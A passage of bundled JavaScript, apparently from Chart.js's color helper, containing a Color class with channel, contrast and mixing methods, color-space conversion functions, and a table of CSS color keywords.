{\n\t\treturn this.setChannel('rgb', 2, val);\n\t},\n\thue: function (val) {\n\t\tif (val) {\n\t\t\tval %= 360;\n\t\t\tval = val < 0 ? 360 + val : val;\n\t\t}\n\t\treturn this.setChannel('hsl', 0, val);\n\t},\n\tsaturation: function (val) {\n\t\treturn this.setChannel('hsl', 1, val);\n\t},\n\tlightness: function (val) {\n\t\treturn this.setChannel('hsl', 2, val);\n\t},\n\tsaturationv: function (val) {\n\t\treturn this.setChannel('hsv', 1, val);\n\t},\n\twhiteness: function (val) {\n\t\treturn this.setChannel('hwb', 1, val);\n\t},\n\tblackness: function (val) {\n\t\treturn this.setChannel('hwb', 2, val);\n\t},\n\tvalue: function (val) {\n\t\treturn this.setChannel('hsv', 2, val);\n\t},\n\tcyan: function (val) {\n\t\treturn this.setChannel('cmyk', 0, val);\n\t},\n\tmagenta: function (val) {\n\t\treturn this.setChannel('cmyk', 1, val);\n\t},\n\tyellow: function (val) {\n\t\treturn this.setChannel('cmyk', 2, val);\n\t},\n\tblack: function (val) {\n\t\treturn this.setChannel('cmyk', 3, val);\n\t},\n\n\thexString: function () {\n\t\treturn string.hexString(this.values.rgb);\n\t},\n\trgbString: function () {\n\t\treturn string.rgbString(this.values.rgb, this.values.alpha);\n\t},\n\trgbaString: function () {\n\t\treturn string.rgbaString(this.values.rgb, this.values.alpha);\n\t},\n\tpercentString: function () {\n\t\treturn string.percentString(this.values.rgb, this.values.alpha);\n\t},\n\thslString: function () {\n\t\treturn string.hslString(this.values.hsl, this.values.alpha);\n\t},\n\thslaString: function () {\n\t\treturn string.hslaString(this.values.hsl, this.values.alpha);\n\t},\n\thwbString: function () {\n\t\treturn string.hwbString(this.values.hwb, this.values.alpha);\n\t},\n\tkeyword: function () {\n\t\treturn string.keyword(this.values.rgb, this.values.alpha);\n\t},\n\n\trgbNumber: function () {\n\t\tvar rgb = this.values.rgb;\n\t\treturn (rgb[0] << 16) | (rgb[1] << 8) | rgb[2];\n\t},\n\n\tluminosity: function () {\n\t\t// http://www.w3.org/TR/WCAG20/#relativeluminancedef\n\t\tvar rgb = this.values.rgb;\n\t\tvar lum = [];\n\t\tfor (var i = 0; i < rgb.length; i++) {\n\t\t\tvar chan = rgb[i] / 255;\n\t\t\tlum[i] = (chan <= 0.03928) ? chan / 12.92 : Math.pow(((chan + 0.055) / 1.055), 2.4);\n\t\t}\n\t\treturn 0.2126 * lum[0] + 0.7152 * lum[1] + 0.0722 * lum[2];\n\t},\n\n\tcontrast: function (color2) {\n\t\t// http://www.w3.org/TR/WCAG20/#contrast-ratiodef\n\t\tvar lum1 = this.luminosity();\n\t\tvar lum2 = color2.luminosity();\n\t\tif (lum1 > lum2) {\n\t\t\treturn (lum1 + 0.05) / (lum2 + 0.05);\n\t\t}\n\t\treturn (lum2 + 0.05) / (lum1 + 0.05);\n\t},\n\n\tlevel: function (color2) {\n\t\tvar contrastRatio = this.contrast(color2);\n\t\tif (contrastRatio >= 7.1) {\n\t\t\treturn 'AAA';\n\t\t}\n\n\t\treturn (contrastRatio >= 4.5) ? 'AA' : '';\n\t},\n\n\tdark: function () {\n\t\t// YIQ equation from http://24ways.org/2010/calculating-color-contrast\n\t\tvar rgb = this.values.rgb;\n\t\tvar yiq = (rgb[0] * 299 + rgb[1] * 587 + rgb[2] * 114) / 1000;\n\t\treturn yiq < 128;\n\t},\n\n\tlight: function () {\n\t\treturn !this.dark();\n\t},\n\n\tnegate: function () {\n\t\tvar rgb = [];\n\t\tfor (var i = 0; i < 3; i++) {\n\t\t\trgb[i] = 255 - this.values.rgb[i];\n\t\t}\n\t\tthis.setValues('rgb', rgb);\n\t\treturn this;\n\t},\n\n\tlighten: function (ratio) {\n\t\tvar hsl = this.values.hsl;\n\t\thsl[2] += hsl[2] * ratio;\n\t\tthis.setValues('hsl', hsl);\n\t\treturn this;\n\t},\n\n\tdarken: function (ratio) {\n\t\tvar hsl = this.values.hsl;\n\t\thsl[2] -= hsl[2] * ratio;\n\t\tthis.setValues('hsl', hsl);\n\t\treturn this;\n\t},\n\n\tsaturate: function (ratio) {\n\t\tvar hsl = this.values.hsl;\n\t\thsl[1] += hsl[1] * ratio;\n\t\tthis.setValues('hsl', hsl);\n\t\treturn this;\n\t},\n\n\tdesaturate: function (ratio) {\n\t\tvar hsl = this.values.hsl;\n\t\thsl[1] -= hsl[1] * ratio;\n\t\tthis.setValues('hsl', hsl);\n\t\treturn this;\n\t},\n\n\twhiten: function (ratio) {\n\t\tvar hwb = this.values.hwb;\n\t\thwb[1] += hwb[1] * ratio;\n\t\tthis.setValues('hwb', hwb);\n\t\treturn this;\n\t},\n\n\tblacken: function (ratio) {\n\t\tvar hwb = this.values.hwb;\n\t\thwb[2] += hwb[2] * ratio;\n\t\tthis.setValues('hwb', hwb);\n\t\treturn this;\n\t},\n\n\tgreyscale: function () {\n\t\tvar rgb = this.values.rgb;\n\t\t// http://en.wikipedia.org/wiki/Grayscale#Converting_color_to_grayscale\n\t\tvar val = rgb[0] * 0.3 + rgb[1] * 0.59 + rgb[2] * 0.11;\n\t\tthis.setValues('rgb', [val, val, val]);\n\t\treturn this;\n\t},\n\n\tclearer: function (ratio) {\n\t\tvar alpha = this.values.alpha;\n\t\tthis.setValues('alpha', alpha - (alpha * ratio));\n\t\treturn this;\n\t},\n\n\topaquer: function (ratio) {\n\t\tvar alpha = this.values.alpha;\n\t\tthis.setValues('alpha', alpha + (alpha * ratio));\n\t\treturn this;\n\t},\n\n\trotate: function (degrees) {\n\t\tvar hsl = this.values.hsl;\n\t\tvar hue = (hsl[0] + degrees) % 360;\n\t\thsl[0] = hue < 0 ? 360 + hue : hue;\n\t\tthis.setValues('hsl', hsl);\n\t\treturn this;\n\t},\n\n\t/**\n\t * Ported from sass implementation in C\n\t * https://github.com/sass/libsass/blob/0e6b4a2850092356aa3ece07c6b249f0221caced/functions.cpp#L209\n\t */\n\tmix: function (mixinColor, weight) {\n\t\tvar color1 = this;\n\t\tvar color2 = mixinColor;\n\t\tvar p = weight === undefined ? 0.5 : weight;\n\n\t\tvar w = 2 * p - 1;\n\t\tvar a = color1.alpha() - color2.alpha();\n\n\t\tvar w1 = (((w * a === -1) ? w : (w + a) / (1 + w * a)) + 1) / 2.0;\n\t\tvar w2 = 1 - w1;\n\n\t\treturn this\n\t\t\t.rgb(\n\t\t\t\tw1 * color1.red() + w2 * color2.red(),\n\t\t\t\tw1 * color1.green() + w2 * color2.green(),\n\t\t\t\tw1 * color1.blue() + w2 * color2.blue()\n\t\t\t)\n\t\t\t.alpha(color1.alpha() * p + color2.alpha() * (1 - p));\n\t},\n\n\ttoJSON: function () {\n\t\treturn this.rgb();\n\t},\n\n\tclone: function () {\n\t\t// NOTE(SB): using node-clone creates a dependency to Buffer when using browserify,\n\t\t// making the final build way to big to embed in Chart.js. So let's do it manually,\n\t\t// assuming that values to clone are 1 dimension arrays containing only numbers,\n\t\t// except 'alpha' which is a number.\n\t\tvar result = new Color();\n\t\tvar source = this.values;\n\t\tvar target = result.values;\n\t\tvar value, type;\n\n\t\tfor (var prop in source) {\n\t\t\tif (source.hasOwnProperty(prop)) {\n\t\t\t\tvalue = source[prop];\n\t\t\t\ttype = ({}).toString.call(value);\n\t\t\t\tif (type === '[object Array]') {\n\t\t\t\t\ttarget[prop] = value.slice(0);\n\t\t\t\t} else if (type === '[object Number]') {\n\t\t\t\t\ttarget[prop] = value;\n\t\t\t\t} else {\n\t\t\t\t\tconsole.error('unexpected color value:', value);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n};\n\nColor.prototype.spaces = {\n\trgb: ['red', 'green', 'blue'],\n\thsl: ['hue', 'saturation', 'lightness'],\n\thsv: ['hue', 'saturation', 'value'],\n\thwb: ['hue', 'whiteness', 'blackness'],\n\tcmyk: ['cyan', 'magenta', 'yellow', 'black']\n};\n\nColor.prototype.maxes = {\n\trgb: [255, 255, 255],\n\thsl: [360, 100, 100],\n\thsv: [360, 100, 100],\n\thwb: [360, 100, 100],\n\tcmyk: [100, 100, 100, 100]\n};\n\nColor.prototype.getValues = function (space) {\n\tvar values = this.values;\n\tvar vals = {};\n\n\tfor (var i = 0; i < space.length; i++) {\n\t\tvals[space.charAt(i)] = values[space][i];\n\t}\n\n\tif (values.alpha !== 1) {\n\t\tvals.a = values.alpha;\n\t}\n\n\t// {r: 255, g: 255, b: 255, a: 0.4}\n\treturn vals;\n};\n\nColor.prototype.setValues = function (space, vals) {\n\tvar values = this.values;\n\tvar spaces = this.spaces;\n\tvar maxes = this.maxes;\n\tvar alpha = 1;\n\tvar i;\n\n\tthis.valid = true;\n\n\tif (space === 'alpha') {\n\t\talpha = vals;\n\t} else if (vals.length) {\n\t\t// [10, 10, 10]\n\t\tvalues[space] = vals.slice(0, space.length);\n\t\talpha = vals[space.length];\n\t} else if (vals[space.charAt(0)] !== undefined) {\n\t\t// {r: 10, g: 10, b: 10}\n\t\tfor (i = 0; i < space.length; i++) {\n\t\t\tvalues[space][i] = vals[space.charAt(i)];\n\t\t}\n\n\t\talpha = vals.a;\n\t} else if (vals[spaces[space][0]] !== undefined) {\n\t\t// {red: 10, green: 10, blue: 10}\n\t\tvar chans = spaces[space];\n\n\t\tfor (i = 0; i < space.length; i++) {\n\t\t\tvalues[space][i] = vals[chans[i]];\n\t\t}\n\n\t\talpha = vals.alpha;\n\t}\n\n\tvalues.alpha = Math.max(0, Math.min(1, (alpha === undefined ? values.alpha : alpha)));\n\n\tif (space === 'alpha') {\n\t\treturn false;\n\t}\n\n\tvar capped;\n\n\t// cap values of the space prior converting all values\n\tfor (i = 0; i < space.length; i++) {\n\t\tcapped = Math.max(0, Math.min(maxes[space][i], values[space][i]));\n\t\tvalues[space][i] = Math.round(capped);\n\t}\n\n\t// convert to all the other color spaces\n\tfor (var sname in spaces) {\n\t\tif (sname !== space) {\n\t\t\tvalues[sname] = convert[space][sname](values[space]);\n\t\t}\n\t}\n\n\treturn true;\n};\n\nColor.prototype.setSpace = function (space, args) {\n\tvar vals = args[0];\n\n\tif (vals === undefined) {\n\t\t// color.rgb()\n\t\treturn this.getValues(space);\n\t}\n\n\t// color.rgb(10, 10, 10)\n\tif (typeof vals === 'number') {\n\t\tvals = Array.prototype.slice.call(args);\n\t}\n\n\tthis.setValues(space, vals);\n\treturn this;\n};\n\nColor.prototype.setChannel = function (space, index, val) {\n\tvar svalues = this.values[space];\n\tif (val === undefined) {\n\t\t// color.red()\n\t\treturn svalues[index];\n\t} else if (val === svalues[index]) {\n\t\t// color.red(color.red())\n\t\treturn this;\n\t}\n\n\t// color.red(100)\n\tsvalues[index] = val;\n\tthis.setValues(space, svalues);\n\n\treturn this;\n};\n\nif (typeof window !== 'undefined') {\n\twindow.Color = Color;\n}\n\nmodule.exports = Color;\n\n},{\"2\":2,\"5\":5}],4:[function(require,module,exports){\n/* MIT license */\n\nmodule.exports = {\n  rgb2hsl: rgb2hsl,\n  rgb2hsv: rgb2hsv,\n  rgb2hwb: rgb2hwb,\n  rgb2cmyk: rgb2cmyk,\n  rgb2keyword: rgb2keyword,\n  rgb2xyz: rgb2xyz,\n  rgb2lab: rgb2lab,\n  rgb2lch: rgb2lch,\n\n  hsl2rgb: hsl2rgb,\n  hsl2hsv: hsl2hsv,\n  hsl2hwb: hsl2hwb,\n  hsl2cmyk: hsl2cmyk,\n  hsl2keyword: hsl2keyword,\n\n  hsv2rgb: hsv2rgb,\n  hsv2hsl: hsv2hsl,\n  hsv2hwb: hsv2hwb,\n  hsv2cmyk: hsv2cmyk,\n  hsv2keyword: hsv2keyword,\n\n  hwb2rgb: hwb2rgb,\n  hwb2hsl: hwb2hsl,\n  hwb2hsv: hwb2hsv,\n  hwb2cmyk: hwb2cmyk,\n  hwb2keyword: hwb2keyword,\n\n  cmyk2rgb: cmyk2rgb,\n  cmyk2hsl: cmyk2hsl,\n  cmyk2hsv: cmyk2hsv,\n  cmyk2hwb: cmyk2hwb,\n  cmyk2keyword: cmyk2keyword,\n\n  keyword2rgb: keyword2rgb,\n  keyword2hsl: keyword2hsl,\n  keyword2hsv: keyword2hsv,\n  keyword2hwb: keyword2hwb,\n  keyword2cmyk: keyword2cmyk,\n  keyword2lab: keyword2lab,\n  keyword2xyz: keyword2xyz,\n\n  xyz2rgb: xyz2rgb,\n  xyz2lab: xyz2lab,\n  xyz2lch: xyz2lch,\n\n  lab2xyz: lab2xyz,\n  lab2rgb: lab2rgb,\n  lab2lch: lab2lch,\n\n  lch2lab: lch2lab,\n  lch2xyz: lch2xyz,\n  lch2rgb: lch2rgb\n}\n\n\nfunction rgb2hsl(rgb) {\n  var r = rgb[0]/255,\n      g = rgb[1]/255,\n      b = rgb[2]/255,\n      min = Math.min(r, g, b),\n      max = Math.max(r, g, b),\n      delta = max - min,\n      h, s, l;\n\n  if (max == min)\n    h = 0;\n  else if (r == max)\n    h = (g - b) / delta;\n  else if (g == max)\n    h = 2 + (b - r) / delta;\n  else if (b == max)\n    h = 4 + (r - g)/ delta;\n\n  h = Math.min(h * 60, 360);\n\n  if (h < 0)\n    h += 360;\n\n  l = (min + max) / 2;\n\n  if (max == min)\n    s = 0;\n  else if (l <= 0.5)\n    s = delta / (max + min);\n  else\n    s = delta / (2 - max - min);\n\n  return [h, s * 100, l * 100];\n}\n\nfunction rgb2hsv(rgb) {\n  var r = rgb[0],\n      g = rgb[1],\n      b = rgb[2],\n      min = Math.min(r, g, b),\n      max = Math.max(r, g, b),\n      delta = max - min,\n      h, s, v;\n\n  if (max == 0)\n    s = 0;\n  else\n    s = (delta/max * 1000)/10;\n\n  if (max == min)\n    h = 0;\n  else if (r == max)\n    h = (g - b) / delta;\n  else if (g == max)\n    h = 2 + (b - r) / delta;\n  else if (b == max)\n    h = 4 + (r - g) / delta;\n\n  h = Math.min(h * 60, 360);\n\n  if (h < 0)\n    h += 360;\n\n  v = ((max / 255) * 1000) / 10;\n\n  return [h, s, v];\n}\n\nfunction rgb2hwb(rgb) {\n  var r = rgb[0],\n      g = rgb[1],\n      b = rgb[2],\n      h = rgb2hsl(rgb)[0],\n      w = 1/255 * Math.min(r, Math.min(g, b)),\n      b = 1 - 1/255 * Math.max(r, Math.max(g, b));\n\n  return [h, w * 100, b * 100];\n}\n\nfunction rgb2cmyk(rgb) {\n  var r = rgb[0] / 255,\n      g = rgb[1] / 255,\n      b = rgb[2] / 255,\n      c, m, y, k;\n\n  k = Math.min(1 - r, 1 - g, 1 - b);\n  c = (1 - r - k) / (1 - k) || 0;\n  m = (1 - g - k) / (1 - k) || 0;\n  y = (1 - b - k) / (1 - k) || 0;\n  return [c * 100, m * 100, y * 100, k * 100];\n}\n\nfunction rgb2keyword(rgb) {\n  return reverseKeywords[JSON.stringify(rgb)];\n}\n\nfunction rgb2xyz(rgb) {\n  var r = rgb[0] / 255,\n      g = rgb[1] / 255,\n      b = rgb[2] / 255;\n\n  // assume sRGB\n  r = r > 0.04045 ? Math.pow(((r + 0.055) / 1.055), 2.4) : (r / 12.92);\n  g = g > 0.04045 ? Math.pow(((g + 0.055) / 1.055), 2.4) : (g / 12.92);\n  b = b > 0.04045 ? Math.pow(((b + 0.055) / 1.055), 2.4) : (b / 12.92);\n\n  var x = (r * 0.4124) + (g * 0.3576) + (b * 0.1805);\n  var y = (r * 0.2126) + (g * 0.7152) + (b * 0.0722);\n  var z = (r * 0.0193) + (g * 0.1192) + (b * 0.9505);\n\n  return [x * 100, y *100, z * 100];\n}\n\nfunction rgb2lab(rgb) {\n  var xyz = rgb2xyz(rgb),\n        x = xyz[0],\n        y = xyz[1],\n        z = xyz[2],\n        l, a, b;\n\n  x /= 95.047;\n  y /= 100;\n  z /= 108.883;\n\n  x = x > 0.008856 ? Math.pow(x, 1/3) : (7.787 * x) + (16 / 116);\n  y = y > 0.008856 ? Math.pow(y, 1/3) : (7.787 * y) + (16 / 116);\n  z = z > 0.008856 ? Math.pow(z, 1/3) : (7.787 * z) + (16 / 116);\n\n  l = (116 * y) - 16;\n  a = 500 * (x - y);\n  b = 200 * (y - z);\n\n  return [l, a, b];\n}\n\nfunction rgb2lch(args) {\n  return lab2lch(rgb2lab(args));\n}\n\nfunction hsl2rgb(hsl) {\n  var h = hsl[0] / 360,\n      s = hsl[1] / 100,\n      l = hsl[2] / 100,\n      t1, t2, t3, rgb, val;\n\n  if (s == 0) {\n    val = l * 255;\n    return [val, val, val];\n  }\n\n  if (l < 0.5)\n    t2 = l * (1 + s);\n  else\n    t2 = l + s - l * s;\n  t1 = 2 * l - t2;\n\n  rgb = [0, 0, 0];\n  for (var i = 0; i < 3; i++) {\n    t3 = h + 1 / 3 * - (i - 1);\n    t3 < 0 && t3++;\n    t3 > 1 && t3--;\n\n    if (6 * t3 < 1)\n      val = t1 + (t2 - t1) * 6 * t3;\n    else if (2 * t3 < 1)\n      val = t2;\n    else if (3 * t3 < 2)\n      val = t1 + (t2 - t1) * (2 / 3 - t3) * 6;\n    else\n      val = t1;\n\n    rgb[i] = val * 255;\n  }\n\n  return rgb;\n}\n\nfunction hsl2hsv(hsl) {\n  var h = hsl[0],\n      s = hsl[1] / 100,\n      l = hsl[2] / 100,\n      sv, v;\n\n  if(l === 0) {\n      // no need to do calc on black\n      // also avoids divide by 0 error\n      return [0, 0, 0];\n  }\n\n  l *= 2;\n  s *= (l <= 1) ? l : 2 - l;\n  v = (l + s) / 2;\n  sv = (2 * s) / (l + s);\n  return [h, sv * 100, v * 100];\n}\n\nfunction hsl2hwb(args) {\n  return rgb2hwb(hsl2rgb(args));\n}\n\nfunction hsl2cmyk(args) {\n  return rgb2cmyk(hsl2rgb(args));\n}\n\nfunction hsl2keyword(args) {\n  return rgb2keyword(hsl2rgb(args));\n}\n\n\nfunction hsv2rgb(hsv) {\n  var h = hsv[0] / 60,\n      s = hsv[1] / 100,\n      v = hsv[2] / 100,\n      hi = Math.floor(h) % 6;\n\n  var f = h - Math.floor(h),\n      p = 255 * v * (1 - s),\n      q = 255 * v * (1 - (s * f)),\n      t = 255 * v * (1 - (s * (1 - f))),\n      v = 255 * v;\n\n  switch(hi) {\n    case 0:\n      return [v, t, p];\n    case 1:\n      return [q, v, p];\n    case 2:\n      return [p, v, t];\n    case 3:\n      return [p, q, v];\n    case 4:\n      return [t, p, v];\n    case 5:\n      return [v, p, q];\n  }\n}\n\nfunction hsv2hsl(hsv) {\n  var h = hsv[0],\n      s = hsv[1] / 100,\n      v = hsv[2] / 100,\n      sl, l;\n\n  l = (2 - s) * v;\n  sl = s * v;\n  sl /= (l <= 1) ? l : 2 - l;\n  sl = sl || 0;\n  l /= 2;\n  return [h, sl * 100, l * 100];\n}\n\nfunction hsv2hwb(args) {\n  return rgb2hwb(hsv2rgb(args))\n}\n\nfunction hsv2cmyk(args) {\n  return rgb2cmyk(hsv2rgb(args));\n}\n\nfunction hsv2keyword(args) {\n  return rgb2keyword(hsv2rgb(args));\n}\n\n// http://dev.w3.org/csswg/css-color/#hwb-to-rgb\nfunction hwb2rgb(hwb) {\n  var h = hwb[0] / 360,\n      wh = hwb[1] / 100,\n      bl = hwb[2] / 100,\n      ratio = wh + bl,\n      i, v, f, n;\n\n  // wh + bl cant be > 1\n  if (ratio > 1) {\n    wh /= ratio;\n    bl /= ratio;\n  }\n\n  i = Math.floor(6 * h);\n  v = 1 - bl;\n  f = 6 * h - i;\n  if ((i & 0x01) != 0) {\n    f = 1 - f;\n  }\n  n = wh + f * (v - wh);  // linear interpolation\n\n  switch (i) {\n    default:\n    case 6:\n    case 0: r = v; g = n; b = wh; break;\n    case 1: r = n; g = v; b = wh; break;\n    case 2: r = wh; g = v; b = n; break;\n    case 3: r = wh; g = n; b = v; break;\n    case 4: r = n; g = wh; b = v; break;\n    case 5: r = v; g = wh; b = n; break;\n  }\n\n  return [r * 255, g * 255, b * 255];\n}\n\nfunction hwb2hsl(args) {\n  return rgb2hsl(hwb2rgb(args));\n}\n\nfunction hwb2hsv(args) {\n  return rgb2hsv(hwb2rgb(args));\n}\n\nfunction hwb2cmyk(args) {\n  return rgb2cmyk(hwb2rgb(args));\n}\n\nfunction hwb2keyword(args) {\n  return rgb2keyword(hwb2rgb(args));\n}\n\nfunction cmyk2rgb(cmyk) {\n  var c = cmyk[0] / 100,\n      m = cmyk[1] / 100,\n      y = cmyk[2] / 100,\n      k = cmyk[3] / 100,\n      r, g, b;\n\n  r = 1 - Math.min(1, c * (1 - k) + k);\n  g = 1 - Math.min(1, m * (1 - k) + k);\n  b = 1 - Math.min(1, y * (1 - k) + k);\n  return [r * 255, g * 255, b * 255];\n}\n\nfunction cmyk2hsl(args) {\n  return rgb2hsl(cmyk2rgb(args));\n}\n\nfunction cmyk2hsv(args) {\n  return rgb2hsv(cmyk2rgb(args));\n}\n\nfunction cmyk2hwb(args) {\n  return rgb2hwb(cmyk2rgb(args));\n}\n\nfunction cmyk2keyword(args) {\n  return rgb2keyword(cmyk2rgb(args));\n}\n\n\nfunction xyz2rgb(xyz) {\n  var x = xyz[0] / 100,\n      y = xyz[1] / 100,\n      z = xyz[2] / 100,\n      r, g, b;\n\n  r = (x * 3.2406) + (y * -1.5372) + (z * -0.4986);\n  g = (x * -0.9689) + (y * 1.8758) + (z * 0.0415);\n  b = (x * 0.0557) + (y * -0.2040) + (z * 1.0570);\n\n  // assume sRGB\n  r = r > 0.0031308 ? ((1.055 * Math.pow(r, 1.0 / 2.4)) - 0.055)\n    : r = (r * 12.92);\n\n  g = g > 0.0031308 ? ((1.055 * Math.pow(g, 1.0 / 2.4)) - 0.055)\n    : g = (g * 12.92);\n\n  b = b > 0.0031308 ? ((1.055 * Math.pow(b, 1.0 / 2.4)) - 0.055)\n    : b = (b * 12.92);\n\n  r = Math.min(Math.max(0, r), 1);\n  g = Math.min(Math.max(0, g), 1);\n  b = Math.min(Math.max(0, b), 1);\n\n  return [r * 255, g * 255, b * 255];\n}\n\nfunction xyz2lab(xyz) {\n  var x = xyz[0],\n      y = xyz[1],\n      z = xyz[2],\n      l, a, b;\n\n  x /= 95.047;\n  y /= 100;\n  z /= 108.883;\n\n  x = x > 0.008856 ? Math.pow(x, 1/3) : (7.787 * x) + (16 / 116);\n  y = y > 0.008856 ? Math.pow(y, 1/3) : (7.787 * y) + (16 / 116);\n  z = z > 0.008856 ? Math.pow(z, 1/3) : (7.787 * z) + (16 / 116);\n\n  l = (116 * y) - 16;\n  a = 500 * (x - y);\n  b = 200 * (y - z);\n\n  return [l, a, b];\n}\n\nfunction xyz2lch(args) {\n  return lab2lch(xyz2lab(args));\n}\n\nfunction lab2xyz(lab) {\n  var l = lab[0],\n      a = lab[1],\n      b = lab[2],\n      x, y, z, y2;\n\n  if (l <= 8) {\n    y = (l * 100) / 903.3;\n    y2 = (7.787 * (y / 100)) + (16 / 116);\n  } else {\n    y = 100 * Math.pow((l + 16) / 116, 3);\n    y2 = Math.pow(y / 100, 1/3);\n  }\n\n  x = x / 95.047 <= 0.008856 ? x = (95.047 * ((a / 500) + y2 - (16 / 116))) / 7.787 : 95.047 * Math.pow((a / 500) + y2, 3);\n\n  z = z / 108.883 <= 0.008859 ? z = (108.883 * (y2 - (b / 200) - (16 / 116))) / 7.787 : 108.883 * Math.pow(y2 - (b / 200), 3);\n\n  return [x, y, z];\n}\n\nfunction lab2lch(lab) {\n  var l = lab[0],\n      a = lab[1],\n      b = lab[2],\n      hr, h, c;\n\n  hr = Math.atan2(b, a);\n  h = hr * 360 / 2 / Math.PI;\n  if (h < 0) {\n    h += 360;\n  }\n  c = Math.sqrt(a * a + b * b);\n  return [l, c, h];\n}\n\nfunction lab2rgb(args) {\n  return xyz2rgb(lab2xyz(args));\n}\n\nfunction lch2lab(lch) {\n  var l = lch[0],\n      c = lch[1],\n      h = lch[2],\n      a, b, hr;\n\n  hr = h / 360 * 2 * Math.PI;\n  a = c * Math.cos(hr);\n  b = c * Math.sin(hr);\n  return [l, a, b];\n}\n\nfunction lch2xyz(args) {\n  return lab2xyz(lch2lab(args));\n}\n\nfunction lch2rgb(args) {\n  return lab2rgb(lch2lab(args));\n}\n\nfunction keyword2rgb(keyword) {\n  return cssKeywords[keyword];\n}\n\nfunction keyword2hsl(args) {\n  return rgb2hsl(keyword2rgb(args));\n}\n\nfunction keyword2hsv(args) {\n  return rgb2hsv(keyword2rgb(args));\n}\n\nfunction keyword2hwb(args) {\n  return rgb2hwb(keyword2rgb(args));\n}\n\nfunction keyword2cmyk(args) {\n  return rgb2cmyk(keyword2rgb(args));\n}\n\nfunction keyword2lab(args) {\n  return rgb2lab(keyword2rgb(args));\n}\n\nfunction keyword2xyz(args) {\n  return rgb2xyz(keyword2rgb(args));\n}\n\nvar cssKeywords = {\n  aliceblue:  [240,248,255],\n  antiquewhite: [250,235,215],\n  aqua: [0,255,255],\n  aquamarine: [127,255,212],\n  azure:  [240,255,255],\n  beige:  [245,245,220],\n  bisque: [255,228,196],\n  black:  [0,0,0],\n  blanchedalmond: [255,235,205],\n  blue: [0,0,255],\n  blueviolet: [138,43,226],\n  brown:  [165,42,42],\n  burlywood:  [222,184,135],\n  cadetblue:  [95,158,160],\n  chartreuse: [127,255,0],\n  chocolate:  [210,105,30],\n  coral:  [255,127,80],\n  cornflowerblue: [100,149,237],\n  cornsilk: [255,248,220],\n  crimson:  [220,20,60],\n  cyan: [0,255,255],\n  darkblue: [0,0,139],\n  darkcyan: [0,139,139],\n  darkgoldenrod:  [184,134,11],\n  darkgray: [169,169,169],\n  darkgreen:  [0,100,0],\n  darkgrey: [169,169,169],\n  darkkhaki:  [189,183,107],\n  darkmagenta:  [139,0,139],\n  darkolivegreen: [85,107,47],\n  darkorange: [255,140,0],\n  darkorchid: [153,50,204],\n  darkred:  [139,0,0],\n  darksalmon: [233,150,122],\n  darkseagreen: [143,188,143],\n  darkslateblue:  [72,61,139],\n  darkslategray:  [47,79,79],\n  darkslategrey:  [47,79,79],\n  darkturquoise:  [0,206,209],\n  darkviolet: [148,0,211],\n  deeppink: [255,20,147],\n  deepskyblue:  [0,191,255],\n  dimgray:  [105,105,105],\n  dimgrey:  [105,105,105],\n  dodgerblue: [30,144,255],\n  firebrick:  [178,34,34],\n  floralwhite:  [255,250,240],\n  forestgreen:  [34,139,34],\n  fuchsia:  [255,0,255],\n  gainsboro:  [220,220,220],\n  ghostwhite: [248,248,255],\n  gold: [255,215,0],\n  goldenrod:  [218,165,32],\n  gray: [128,128,128],\n  green:  [0,128,0],\n  greenyellow:  [173,255,47],\n  grey: [128,128,128],\n  honeydew: [240,255,240],\n  hotpink:  [255,105,180],\n  indianred:  [205,92,92],\n  indigo: [75,0,130],\n  ivory:  [255,255,240],\n  khaki:  [240,230,140],\n  lavender: [230,230,250],\n  lavenderblush:  [255,240,245],\n  lawngreen:  [124,252,0],\n  lemonchiffon: [255,250,205],\n  lightblue:  [173,216,230],\n  lightcoral: [240,128,128],\n  lightcyan:  [224,255,255],\n  lightgoldenrodyellow: [250,250,210],\n  lightgray:  [211,211,211],\n  lightgreen: [144,238,144],\n  lightgrey:  [211,211,211],\n  lightpink:  [255,182,193],\n  lightsalmon:  [255,160,122],\n  lightseagreen:  [32,178,170],\n  lightskyblue: [135,206,250],\n  lightslategray: [119,136,153],\n  lightslategrey: [119,136,153],\n  lightsteelblue: [176,196,222],\n  lightyellow:  [255,255,224],\n  lime: [0,255,0],\n  limegreen:  [50,205,50],\n  linen:  [250,240,230],\n  magenta:  [255,0,255],\n  maroon: [128,0,0],\n  mediumaquamarine: [102,205,170],\n  mediumblue: [0,0,205],\n  mediumorchid: [186,85,211],\n  mediumpurple: [147,112,219],\n  mediumseagreen: [60,179,113],\n  mediumslateblue:  [123,104,238],\n  mediumspringgreen:  [0,250,154],\n  mediumturquoise:  [72,209,204],\n  mediumvioletred:  [199,21,133],\n  midnightblue: [25,25,112],\n  mintcream:  [245,255,250],\n  mistyrose:  [255,228,225],\n  moccasin: [255,228,181],\n  navajowhite:  [255,222,173],\n  navy: [0,0,128],\n  oldlace:  [253,245,230],\n  olive:  [128,128,0],\n  olivedrab:  [107,142,35],\n  orange: [255,165,0],\n  orangered:  [255,69,0],\n  orchid: [218,112,214],\n  palegoldenrod:  [238,232,170],\n  palegreen:  [152,251,152],\n  paleturquoise:  [175,238,238],\n  palevioletred:  [219,112,147],\n  papayawhip: [255,239,213],\n  peachpuff:  [255,218,185],\n  peru: [205,133,63],\n  pink: [255,192,203],\n  plum: [221,160,221],\n  powderblue: [176,224,230],\n  purple: [128,0,128],\n  rebeccapurple: [102, 51, 153],\n  red:  [255,0,0],\n  rosybrown:  [188,143,143],\n  royalblue:  [65,105,225],\n  saddlebrown:  [139,69,19],\n  salmon: [250,128,114],\n  sandybrown: [244,164,96],\n  seagreen: [46,139,87],\n  seashell: [255,245,238],\n  sienna: [160,82,45],\n  silver: [192,192,192],\n  skyblue:  [135,206,235],\n  slateblue:  [106,90,205],\n  slategray:  [112,128,144],\n  slategrey:  [112,128,144],\n  snow: [255,250,250],\n  springgreen:  [0,255,127],\n  steelblue:  [70,130,180],\n  tan:  [210,180,140],\n  teal: [0,128,128],\n  thistle:  [216,191,216],\n  tomato: [255,99,71],\n  turquoise:  [64,224,208],\n  violet: [238,130,238],\n  wheat:  [245,222,179],\n  white:  [255,255,255],\n  whitesmoke: [245,245,245],\n  yellow: [255,255,0],\n  yellowgreen:  [154,205,50]\n};\n\nvar reverseKeywords = {};\nfor (var key in cssKeywords) {\n  reverseKeywords[JSON.stringify(cssKeywords[key])] = key;\n}\n\n},{}],5:[function(require,module,exports){\nvar conversions = require(4);\n\nvar convert = function() {\n   return new Converter();\n}\n\nfor (var func in conversions) {\n  // export Raw versions\n  convert[func + \"Raw\"] =  (function(func) {\n    // accept array or plain args\n    return function(arg) {\n      if (typeof 